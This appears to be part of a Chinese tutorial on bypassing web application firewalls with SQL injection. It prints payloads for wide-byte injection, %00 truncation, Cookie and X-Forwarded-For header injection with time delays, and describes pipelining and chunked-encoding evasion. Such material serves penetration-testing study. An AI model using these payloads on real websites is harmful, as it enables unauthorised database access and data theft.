主页 > 网络知识 > WAF机制及绕过方法总结:注入篇(5)

WAF机制及绕过方法总结:注入篇(5)

?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin

?id=1union s%e%lect 1, 2, 3 from admin

11.   协议未覆盖绕过

以下四种常见的content-type类型:

Content-Type:multipart/form-data;

Content-Type:application/x-www-form-urlencoded

Content-Type: text/xml

Content-Type: application/json

部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。

例如使用multipart/form-data进行绕过。

正常请求:

 

WAF机制及绕过方法总结:注入篇

 

转换为multipart/form-data类型进行绕过:

 

WAF机制及绕过方法总结:注入篇

 

12.   宽字节绕过

宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。

正常payload:

?id=1'and 1=1--+ 

绕过payload:

?id=1%df%27and 1=1--+

%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。

13.   %00截断

部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。

正常payload:

?a=1&id=1and sleep(3

绕过payload:

 ?a=1%00.&id=1and sleep(3) 14.   Cookie/X-Forwarded-For注入绕过

部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

正常payload:

GET /index.aspx?id=1+and+1=1 HTTP/1.1 Host: 192.168.61.175 ...........

Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;

绕过payload:

GET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........

Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;

X-Forwarded-For:127.0.0.1′;WAITFOR DELAY’0:0:5′–

15.   利用pipline绕过

当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

正常请求被拦截:

 

WAF机制及绕过方法总结:注入篇

 

利用pipline进行绕过:

首先关闭burp的Repeater的Content-Length自动更新

 

WAF机制及绕过方法总结:注入篇

 

修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。

 

WAF机制及绕过方法总结:注入篇

 

16.   利用分块编码传输绕过

分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。

 

WAF机制及绕过方法总结:注入篇

 

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!